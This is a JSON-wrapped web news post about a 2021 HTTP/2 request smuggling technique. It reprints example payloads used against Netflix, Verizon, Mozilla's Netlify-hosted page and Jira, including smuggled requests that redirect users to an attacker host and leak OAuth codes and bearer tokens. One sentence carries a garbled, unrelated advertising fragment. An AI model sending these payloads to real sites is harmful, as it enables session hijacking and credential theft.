{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"A new attack on front-end and back-end systems that allows interception of requests.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Web systems where the frontend receives connections via HTTP\/2 and communicates with the backend using HTTP\/1.1 have been found vulnerable to a new variant of the 'HTTP Request Smuggling' attack. This vulnerability allows specially crafted client requests to be injected into the content of other users' requests processed in the same stream between the frontend and backend. The attack can be used to inject malicious JavaScript code into a session with a legitimate site, bypass access control systems, and intercept authentication parameters. <\/p>\n

The issue affects web proxies, load balancers, web accelerators, content delivery systems, and other configurations where requests are redirected in a frontend-backend scheme. The study's author demonstrated the possibility of attacking systems like Netflix, Verizon, Bitbucket, Netlify CDN, and Atlassian, earning $56,000 in vulnerability bounty programs. The existence of the issue has also been confirmed in products from F5 Networks. Part of the problem concerns mod_proxy in the Apache HTTP server (CVE-2021-33193), with a fix expected in version 2.4.49 (developers were informed about the issue in early May and given three months to address it). In nginx, the simultaneous specification of 'Content-Length' and 'Transfer-Encoding' headers has been blocked in the previous release (1.21.1). Tools for conducting attacks have already been added to the Burp suite and are available as a Turbo Intruder extension. <\/p>\n

The principle of the new request injection method in traffic is similar to the vulnerability identified by the same researcher two years ago, but limited to frontends accepting requests via HTTP\/1.1. Recall that in the frontend-backend architecture, a dedicated node\u2014the frontend\u2014receives client requests and establishes a long-lived TCP connection with the backend, which processes the requests. Through this shared connection, requests from different users are typically transmitted in a chain, one after the other, separated by HTTP protocol mechanisms. <\/p>\n

The classic attack \"HTTP Request Smuggling\" relied on the fact that frontends and backends interpret the use of the HTTP headers \"Content-Length\" (which defines the total size of data in the request) and \"Transfer-Encoding: chunked\" (which allows data to be sent in parts) differently. For example, if the frontend only supports \"Content-Length\" but ignores \"Transfer-Encoding: chunked\", an attacker can send a request that specifies both the \"Content-Length\" and \"Transfer-Encoding: chunked\" headers, but the size in \"Content-Length\" does not match the size of the chunked data. In this case, the frontend will process and forward the request according to \"Content-Length\", while the backend will expect the end of the block based on \"Transfer-Encoding: chunked\", and the remaining part of the attacker's request will be at the beginning of another request that follows. <\/p>\n

Unlike the text-based protocol HTTP\/1.1, which is parsed at the line level, HTTP\/2 is a binary protocol and manipulates data blocks of a specified size. In HTTP\/2, pseudo-headers corresponding to standard HTTP headers are used. When interacting with the backend using the HTTP\/1.1 protocol, the frontend translates these pseudo-headers into equivalent HTTP\/1.1 headers. The problem is that the backend makes parsing decisions based on the HTTP headers set by the frontend, without having information about the parameters of the original request. <\/p>\n

Values such as \"content-length\" and \"transfer-encoding\" can also be transmitted in the form of pseudo-headers, even though they are not used in HTTP\/2, as the size of all data is determined in a separate field. However, during the conversion of an HTTP\/2 request to HTTP\/1.1, these headers are transferred and can mislead the backend. Two main attack variants are highlighted: H2.TE and H2.CL, where the backend is misled by an incorrect value of transfer-encoding or content-length that does not match the actual size of the body of the request received by the frontend via the HTTP\/2 protocol.

\"A<\/center> <\/p>\n

An example of the H2.CL attack involves specifying an incorrect size in the content-length pseudo-header when sending an HTTP\/2 request to Netflix. This request leads to adding a corresponding HTTP header Content-Length when accessing the backend via HTTP\/1.1, but since the size in Content-Length is indicated to be less than the actual size, part of the data at the end is processed as the beginning of the next request. <\/p>\n

For example, the HTTP\/2 request: :method\tPOST\t:path\t\/n\t:authority\twww.netflix.com\tcontent-length\t4\tabcdGET \/n HTTP\/1.1\tHost: 02.rs?x.netflix.com\tFoo: bar <\/p>\n

Will result in sending the following request to the backend: POST \/n HTTP\/1.1\tHost: www.netflix.com\tContent-Length: 4\tabcdGET \/n HTTP\/1.1\tHost: 02.rs?x.netflix.com\tFoo: bar <\/p>\n

Since Content-Length has a value of 4, the backend will perceive the request body as only \"abcd\", and the remaining part of \"GET \/n HTTP\/1.1\u2026\" will be processed as the beginning of another subsequent request tied to another user. Consequently, there will be a desynchronization of the stream, and a result from the processing of the spoofed request will be returned in response to the subsequent request. In the case of Netflix, specifying an external host in the \"Host:\" header of the spoofed request led to the client receiving a response of \"Location: https:\/\/02.rs?x.netflix.com\/n\" and allowed arbitrary content to be delivered to the client, including executing its JavaScript code in the context of the Netflix site. <\/p>\n

The second attack vector (H2.TE) involves substituting the header «Transfer-Encoding: chunked». The use of the pseudo-header transfer-encoding in HTTP\/2 is prohibited by the specification, and requests containing it are to be treated as invalid. Despite this, some frontend implementations overlook this requirement and allow the use of the pseudo-header transfer-encoding in HTTP\/2, which gets transformed into an equivalent HTTP header. When the «Transfer-Encoding» header is present, the backend may consider it more prioritized and parse the data in chunks using different size blocks in the format «{size}\r\n{block}\r\n{size}\r\n{block}\r\n0», despite the initial separation by total size. <\/p>\n

Such a vulnerability was demonstrated by the company Verizon. The issue was related to the authentication portal and of the original MODx and provides you with more tools to create custom websites and rich web applications.<\/a>, which is also used on sites such as Huffington Post and Engadget. For example, the client's HTTP\/2 request: :method\tPOST\t:path\t\/identitfy\/XUI\t:authority\tid.b2b.oath.com\ttransfer-encoding\tchunked\t0\tGET \/oops HTTP\/1.1\tHost: psres.net\tContent-Length: 10\tx= <\/p>\n

Triggered the transfer of an HTTP request to the backend: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

The backend, in turn, ignored the «Content-Length» header and performed stream segmentation based on «Transfer-Encoding: chunked». In practice, the attack allowed redirecting user requests to the attacker's site and intercepting requests related to OAuth authentication, the parameters of which appeared in the Referer header, as well as simulating an authentication session and initiating the submission of user credentials to the attacker's host. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?…&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik… <\/p>\n

For attacking HTTP\/2 implementations that do not allow the specification of the pseudo-header transfer-encoding, another method was proposed, which involves injecting the «Transfer-Encoding» header by appending it to other pseudo-headers separated by a new line character (in such cases, two separate HTTP headers are created when converted to HTTP\/1.1). <\/p>\n

For example, the mentioned issue affected Atlassian Jira and Netlify CDN (used to serve the landing page of Mozilla in Firefox). Specifically, the HTTP\/2 request :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

led to the backend receiving the HTTP\/1.1 request POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Another option for substituting the header «Transfer-Encoding» was to attach it to the name of another pseudo-header or to the line with the request method. For example, when accessing Atlassian Jira, the pseudo-header «foo: bar\r\ntransfer-encoding» with the value «chunked» resulted in the addition of HTTP headers «foo: bar» and «transfer-encoding: chunked». Additionally, specifying the pseudo-header «:method»\twith the value «GET \\\/ HTTP\\\/1.1\r\nTransfer-encoding: chunked» was translated to «GET \\\/ HTTP\\\/1.1\r\ntransfer-encoding: chunked». <\/p>\n

The researcher who identified the issue also proposed a request tunneling technique to perform attacks on frontends where each an IP address<\/a> A separate connection is established with the backend, and the traffic of different users does not mix. The proposed technique does not allow intruding into other users' requests, but it enables the poisoning of a shared cache, impacting the processing of other requests, and allows for the substitution of internal HTTP headers used to transmit service information from the frontend to the backend (for example, when authenticating on the frontend, the backend can receive information about the current user within these headers). As a practical example of this method, cache poisoning was used to gain control over pages in the Bitbucket service.
\n
Source: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 New attack on frontend-backend systems, allowing insertion into requests | ProHoster","description":"Web systems where the frontend accepts connections via HTTP\/2 and forwards them to the backend via HTTP\/1.1 have been susceptible to a new variant of the \"HTTP Request Smuggling\" attack, allowing for specially crafted requests to be sent.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/en\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}